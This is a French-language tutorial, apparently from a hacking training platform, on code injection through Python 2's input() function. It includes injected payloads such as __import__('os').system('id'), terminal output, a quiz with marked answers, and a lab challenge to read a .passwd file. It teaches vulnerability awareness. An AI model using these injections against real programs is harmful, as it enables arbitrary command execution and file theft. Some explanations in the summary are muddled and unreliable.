Exploitation de la fonction input() en Python (Test Selim)

Introduction
Dans cet article, nous allons découvrir comment la fonction d'entrée se comporte de manière indésirable dans la version 2.x. Ou plus tôt. Dans la version 2.x. La fonction raw_input() remplace la fonction input().
La fonction input() renvoie une valeur dont le type correspond à ce que l'utilisateur a entré. Dans notre exemple, la variable ma_variable contiendra donc un entier, une chaîne de caractères, un réel, etc. suivant ce que l'utilisateur aura décidé. Si l'utilisateur souhaite entrer une chaîne de caractères, il doit l'entrer comme telle, c'est-à-dire incluse entre des apostrophes ou des guillemets.
print 'Veuillez entrer un nombre positif quelconque : ',
ma_variable = input()
print 'Le carré de', ma_variable , 'vaut', ma_variable **2
🤓 Objectifs
✅ Comprendre la fonction input(); en Python.
✅ Exploiter la fonction input(); en injectant du code Python.
👉 Exploiter la fonction input()
Le type de la valeur de retour de input() dépend de la valeur d'entrée. Sans les guillemets doubles, Python peut être problématique car il comprend la valeur d'entrée comme une variable ou un nom de fonction.
Donc, imaginons ce script Python basique :
#coding:utf-8
ma_variable = input("Entrez votre prénom : ")
print(ma_variable)
Si nous exécutons ce script, il nous demandera quel est notre prénom et lorsque nous appuierons sur ENTER, cela nous renverra ce que nous avons tapé dans le Terminal.
root@ubuntu:/home/ex75/Desktop# python file.py
Entrez votre prénom : Selim
Selim
Ici dans notre cas, la fonction input() est vulnérable. Car il est possible d'injecter du code Python dans le champs de texte, nous pouvons par exemple import le module os pour exécuter des commandes et modifier le comportement du programme.
root@ubuntu:/home/ex75/Desktop# python file.py
Entrez votre prénom : __import__('os').system('id')
uid=0(root) gid=0(root) groups=0(root)
0
Comme vous pouvez le voir, ici il me demande mon prénom, et je lui ai envoyer le code Python __import__('os').system('id'), cela veut simplement dire que il doit importer le module os en utilisant la fonction system(); et la sortie montre que il m'a bien exécuté la commande id.
Nous pouvons également créer un fichier, si on le souhaite avec la commande touch.
root@ubuntu:/home/ex75/Desktop# python file.py
Entrez votre prénom : __import__('os').system('touch hello_world')
0
Et, donc si je décide de lister le dossier courant, nous pouvons voir que le fichier a été crée avec succès.
root@ubuntu:/home/ex75/Desktop# ls
hello_world
📝 Quiz
false|||false|||true
# A quoi sert la fonction input(); ?
[x] Cela permet la saisie utilisateur.
[] Permet de convertir un nombre en chaîne de caractère.
[] Incrémentation d'une variable.
[] De récupérer une liste de nombre et de calculer la somme.
# La fonction input(); retourne quel type de valeur ?
[] int.
[] string.
[] float.
[x] Renvoie une valeur de type correspondant à ce qui a été frappé au clavier.
# De quelle version la fonction input() est vulnérable dans Python ?
[x] Python 2.
[] Python 3.
[] Les deux.
# Quelle est la bonne méthode pour importer un module dans la fonction input() ?
[] `import`
[] `_import_`
[] `__import_`
[x] `__import__`
# Quelle est la fonction la plus sécurisée entre raw_input() et input() ?
[] input()
[x] raw_input()
☝️ Résumé
- La fonction
input();renvoie une valeur dont le type correspond à ce que l'utilisateur a entré. - La vulnérabilité de la méthode
input();réside dans le fait que la variable accédant à la valeur de input peut être accédée par n'importe qui simplement en utilisant le nom de la variable ou de la méthode.
💪 Challenge

Un ami de travail propose à vous de tester la sécurité de son application Python. L'entreprise accepte le contrat et vous a mis sur le projet, et maintenant vous devez tester la sécurité de l'application en exploitant la fonctionnalité input().
- En cliquant sur ce lien, tu seras redirigé vers la plateforme
WildHackpour réaliser ce challenge.⚠️ (Nécessite un accès au VPN) - Essaye de lire le fichier
.passwden exploitant la fonctioninput(). - Fais une capture d'écran de la lecture du fichier
.passwden montrant également le codePythoninjectée. - Copie-colle tes captures dans un Gist. Partage ton lien public dans la partie solution de cette quête.
Critère de validation :
- Réussir à lire le fichier
.passwden injectant le codePython.